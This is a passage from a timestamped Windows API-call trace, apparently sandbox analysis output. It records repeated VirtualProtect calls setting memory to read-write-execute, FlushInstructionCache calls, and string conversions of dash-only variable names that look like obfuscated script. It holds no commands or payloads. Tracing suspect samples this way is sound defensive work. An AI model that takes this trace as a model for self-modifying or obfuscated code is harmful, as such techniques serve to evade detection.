0xffffffff [0099.804] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0099.804] GetCurrentProcess () returned 0xffffffff [0099.804] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0099.805] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.805] GetCurrentProcess () returned 0xffffffff [0099.805] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0099.805] GetCurrentProcess () returned 0xffffffff [0099.805] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0099.805] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.806] GetCurrentProcess () returned 0xffffffff [0099.806] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0099.806] GetCurrentProcess () returned 0xffffffff [0099.806] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0099.806] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.808] GetCurrentProcess () returned 0xffffffff [0099.808] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0099.808] GetCurrentProcess () returned 0xffffffff [0099.808] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0099.808] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.809] GetCurrentProcess () returned 0xffffffff [0099.809] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0099.809] GetCurrentProcess () returned 0xffffffff [0099.809] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0099.809] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.809] GetCurrentProcess () returned 0xffffffff [0099.809] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0099.809] GetCurrentProcess () returned 0xffffffff [0099.809] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0099.809] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.810] GetCurrentProcess () returned 0xffffffff [0099.810] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0099.810] GetCurrentProcess () returned 0xffffffff [0099.810] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0099.810] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.810] GetCurrentProcess () returned 0xffffffff [0099.810] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0099.810] GetCurrentProcess () returned 0xffffffff [0099.810] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0099.810] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.811] GetCurrentProcess () returned 0xffffffff [0099.811] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0099.811] GetCurrentProcess () returned 0xffffffff [0099.811] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0099.811] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.812] GetCurrentProcess () returned 0xffffffff [0099.812] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0099.812] GetCurrentProcess () returned 0xffffffff [0099.812] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0099.812] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.812] GetCurrentProcess () returned 0xffffffff [0099.812] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0099.812] GetCurrentProcess () returned 0xffffffff [0099.812] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0099.812] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.813] GetCurrentProcess () returned 0xffffffff [0099.813] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0099.813] GetCurrentProcess () returned 0xffffffff [0099.813] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0099.813] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.814] GetCurrentProcess () returned 0xffffffff [0099.814] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0099.814] GetCurrentProcess () returned 0xffffffff [0099.814] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0099.814] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.814] GetCurrentProcess () returned 0xffffffff [0099.814] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0099.814] GetCurrentProcess () returned 0xffffffff [0099.814] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0099.814] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.815] GetCurrentProcess () returned 0xffffffff [0099.815] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0099.815] GetCurrentProcess () returned 0xffffffff [0099.815] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0099.815] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.816] GetCurrentProcess () returned 0xffffffff [0099.816] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0099.816] GetCurrentProcess () returned 0xffffffff [0099.816] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0099.816] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.816] GetCurrentProcess () returned 0xffffffff [0099.816] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0099.816] GetCurrentProcess () returned 0xffffffff [0099.816] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0099.816] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.817] GetCurrentProcess () returned 0xffffffff [0099.817] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0099.817] GetCurrentProcess () returned 0xffffffff [0099.817] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0099.817] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.818] GetCurrentProcess () returned 0xffffffff [0099.818] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0099.818] GetCurrentProcess () returned 0xffffffff [0099.818] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0099.818] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.818] GetCurrentProcess () returned 0xffffffff [0099.818] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0099.818] GetCurrentProcess () returned 0xffffffff [0099.818] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0099.818] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.819] GetCurrentProcess () returned 0xffffffff [0099.819] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0099.819] GetCurrentProcess () returned 0xffffffff [0099.819] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0099.819] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.819] GetCurrentProcess () returned 0xffffffff [0099.820] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0099.820] GetCurrentProcess () returned 0xffffffff [0099.820] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0099.820] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.820] GetCurrentProcess () returned 0xffffffff [0099.820] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0099.820] GetCurrentProcess () returned 0xffffffff [0099.820] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0099.820] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.821] GetCurrentProcess () returned 0xffffffff [0099.821] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0099.821] GetCurrentProcess () returned 0xffffffff [0099.821] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0099.821] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.821] GetCurrentProcess () returned 0xffffffff [0099.822] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0099.832] GetAsyncKeyState (vKey=3) returned 0 [0099.832] VarCmp (pvarLeft=0x197d98, pvarRight=0x197d88, lcid=0x0, dwFlags=0x30001) returned 0x1 [0099.833] CRetailMalloc_Alloc () returned 0xcb25c40 [0099.833] memcpy (in: _Dst=0xcf94f48, _Src=0x197508, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.833] memcpy (in: _Dst=0xcf95050, _Src=0x197524, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0099.834] memcpy (in: _Dst=0xcf94f48, _Src=0x197508, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.835] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112e2db6, cbMultiByte=27, lpWideCharStr=0x197324, cchWideChar=28 | out: lpWideCharStr="———————–——––———–––———–—–—–") returned 27 [0099.835] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0756, cbMultiByte=27, lpWideCharStr=0x197384, cchWideChar=28 | out: lpWideCharStr="———————–——––———–––———–—–—–") returned 27 [0099.835] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0756, cbMultiByte=27, lpWideCharStr=0x197384, cchWideChar=28 | out: lpWideCharStr="———————–——––———–––———–—–—–") returned 27 [0099.835] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0756, cbMultiByte=27, lpWideCharStr=0x197384, cchWideChar=28 | out: lpWideCharStr="———————–——––———–––———–—–—–") returned 27 [0099.835] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0756, cbMultiByte=27, lpWideCharStr=0x197384, cchWideChar=28 | out: lpWideCharStr="———————–——––———–––———–—–—–") returned 27 [0099.836] CRetailMalloc_Alloc () returned 0xc94f298 [0099.836] _mbscpy_s (in: _Dst=0xc94f298, _DstSizeInBytes=0x1b, _Src=0x112a0756 | out: _Dst=0xc94f298) returned 0x0 [0099.836] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0aca, cbMultiByte=34, lpWideCharStr=0x197394, cchWideChar=35 | out: lpWideCharStr="_B_var_———————–——––———–––———–—–—–") returned 34 [0099.836] _mbscpy_s (in: _Dst=0x1973fc, _DstSizeInBytes=0x1b, _Src=0x112a0756 | out: _Dst=0x1973fc) returned 0x0 [0099.836] CRetailMalloc_Free () returned 0x1 [0099.836] memcpy (in: _Dst=0xcf95050, _Src=0xcf95050, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0099.837] memcpy (in: _Dst=0xcf94f48, _Src=0x197508, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.837] memcpy (in: _Dst=0xcf94f48, _Src=0x197374, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.837] memcpy (in: _Dst=0xcf94f48, _Src=0x197374, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.837] CRetailMalloc_Realloc () returned 0xcb26450 [0099.837] memcpy (in: _Dst=0xcf94f48, _Src=0x197374, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.837] memcpy (in: _Dst=0xcf94f48, _Src=0x197508, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.837] memcpy (in: _Dst=0xcf94f48, _Src=0x197508, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.838] memcpy (in: _Dst=0xcb25cc0, _Src=0x1975a4, _Size=0x18 | out: _Dst=0xcb25cc0) returned 0xcb25cc0 [0099.838] CRetailMalloc_Realloc () returned 0xcb25c40 [0099.838] CRetailMalloc_Free () returned 0x1 [0099.840] GetCurrentProcess () returned 0xffffffff [0099.840] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0099.840] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.840] GetCurrentProcess () returned 0xffffffff [0099.840] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0099.840] GetCurrentProcess () returned 0xffffffff [0099.840] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0099.840] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.841] GetCurrentProcess () returned 0xffffffff [0099.841] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0099.841] GetCurrentProcess () returned 0xffffffff [0099.841] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0099.841] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.841] GetCurrentProcess () returned 0xffffffff [0099.841] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0099.841] GetCurrentProcess () returned 0xffffffff [0099.841] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0099.841] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.842] GetCurrentProcess () returned 0xffffffff [0099.842] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0099.842] GetCurrentProcess () returned 0xffffffff [0099.842] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0099.842] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.842] GetCurrentProcess () returned 0xffffffff [0099.842] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0099.842] GetCurrentProcess () returned 0xffffffff [0099.842] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0099.843] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.843] GetCurrentProcess () returned 0xffffffff [0099.843] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0099.843] GetCurrentProcess () returned 0xffffffff [0099.843] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0099.843] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.843] GetCurrentProcess () returned 0xffffffff [0099.843] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0099.844] GetCurrentProcess () returned 0xffffffff [0099.844] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0099.844] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.844] GetCurrentProcess () returned 0xffffffff [0099.844] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0099.844] GetCurrentProcess () returned 0xffffffff [0099.844] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0099.844] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.845] GetCurrentProcess () returned 0xffffffff [0099.845] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0099.845] GetCurrentProcess () returned 0xffffffff [0099.845] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0099.845] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.845] GetCurrentProcess () returned 0xffffffff [0099.845] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0099.845] GetCurrentProcess () returned 0xffffffff [0099.845] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0099.845] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.846] GetCurrentProcess () returned 0xffffffff [0099.846] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0099.846] GetCurrentProcess () returned 0xffffffff [0099.846] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0099.846] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.847] GetCurrentProcess () returned 0xffffffff [0099.847] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0099.847] GetCurrentProcess () returned 0xffffffff [0099.847] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0099.847] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.847] GetCurrentProcess () returned 0xffffffff [0099.847] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0099.847] GetCurrentProcess () returned 0xffffffff [0099.848] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0099.848] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.848] GetCurrentProcess () returned 0xffffffff [0099.848] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0099.848] GetCurrentProcess () returned 0xffffffff [0099.848] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0099.848] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.849] GetCurrentProcess () returned 0xffffffff [0099.849] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0099.849] GetCurrentProcess () returned 0xffffffff [0099.849] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0099.849] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.849] GetCurrentProcess () returned 0xffffffff [0099.849] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0099.849] GetCurrentProcess () returned 0xffffffff [0099.849] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0099.849] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.850] GetCurrentProcess () returned 0xffffffff [0099.850] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0099.850] GetCurrentProcess () returned 0xffffffff [0099.850] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0099.850] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.850] GetCurrentProcess () returned 0xffffffff [0099.850] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0099.850] GetCurrentProcess () returned 0xffffffff [0099.850] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0099.850] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.851] GetCurrentProcess () returned 0xffffffff [0099.851] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0099.851] GetCurrentProcess () returned 0xffffffff [0099.851] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0099.851] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.851] GetCurrentProcess () returned 0xffffffff [0099.851] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0099.851] GetCurrentProcess () returned 0xffffffff [0099.851] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0099.851] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.852] GetCurrentProcess () returned 0xffffffff [0099.852] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0099.852] GetCurrentProcess () returned 0xffffffff [0099.852] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0099.852] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.852] GetCurrentProcess () returned 0xffffffff [0099.852] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0099.852] GetCurrentProcess () returned 0xffffffff [0099.852] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0099.852] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.853] GetCurrentProcess () returned 0xffffffff [0099.853] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0099.853] GetCurrentProcess () returned 0xffffffff [0099.853] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0099.853] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.854] GetCurrentProcess () returned 0xffffffff [0099.854] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0099.854] GetCurrentProcess () returned 0xffffffff [0099.854] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0099.854] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.855] GetCurrentProcess () returned 0xffffffff [0099.855] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0099.855] GetCurrentProcess () returned 0xffffffff [0099.855] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0099.855] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0099.856] 